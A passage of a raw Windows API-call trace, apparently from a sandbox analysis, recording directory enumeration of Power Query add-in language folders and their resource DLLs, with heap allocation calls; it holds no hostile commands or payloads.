ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa39cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.729] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.729] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.729] FindNextFileW (in: hFindFile=0x37e81d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0114.729] FindClose (in: hFindFile=0x37e81d8 | out: hFindFile=0x37e81d8) returned 1 [0114.731] GetProcessHeap () returned 0xc00000 [0114.731] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.731] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0114.731] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0114.731] GetProcessHeap () returned 0xc00000 [0114.731] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8118 [0114.734] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.734] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.734] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.734] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.735] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.735] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0114.735] FindClose (in: hFindFile=0x37e8118 | out: hFindFile=0x37e8118) returned 1 [0114.736] GetProcessHeap () returned 0xc00000 [0114.736] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.736] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0114.736] GetProcessHeap () returned 0xc00000 [0114.736] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8258 [0114.742] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.742] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.743] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.743] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.743] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.743] FindNextFileW (in: hFindFile=0x37e8258, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0114.743] FindClose (in: hFindFile=0x37e8258 | out: hFindFile=0x37e8258) returned 1 [0114.744] GetProcessHeap () returned 0xc00000 [0114.744] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.744] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0114.745] GetProcessHeap () returned 0xc00000 [0114.745] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8118 [0114.748] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.748] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.748] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.748] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x675bda6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6781ff8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.748] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.748] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0114.748] FindClose (in: hFindFile=0x37e8118 | out: hFindFile=0x37e8118) returned 1 [0114.749] GetProcessHeap () returned 0xc00000 [0114.749] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.749] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0114.749] GetProcessHeap () returned 0xc00000 [0114.749] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8158 [0114.752] FindNextFileW (in: hFindFile=0x37e8158, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.752] FindNextFileW (in: hFindFile=0x37e8158, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0114.752] FindNextFileW (in: hFindFile=0x37e8158, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0114.752] FindNextFileW (in: hFindFile=0x37e8158, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41f3e26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41f3e26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x37aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0114.752] FindNextFileW (in: hFindFile=0x37e8158, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0114.752] FindNextFileW (in: hFindFile=0x37e8158, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0114.752] FindClose (in: hFindFile=0x37e8158 | out: hFindFile=0x37e8158) returned 1 [0114.754] GetProcessHeap () returned 0xc00000 [0114.754] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0114.754] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0114.754] GetProcessHeap () returned 0xc00000 [0114.754] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0114.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8858 [0115.076] FindNextFileW (in: hFindFile=0x37e8858, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x37e8858, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x37e8858, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, 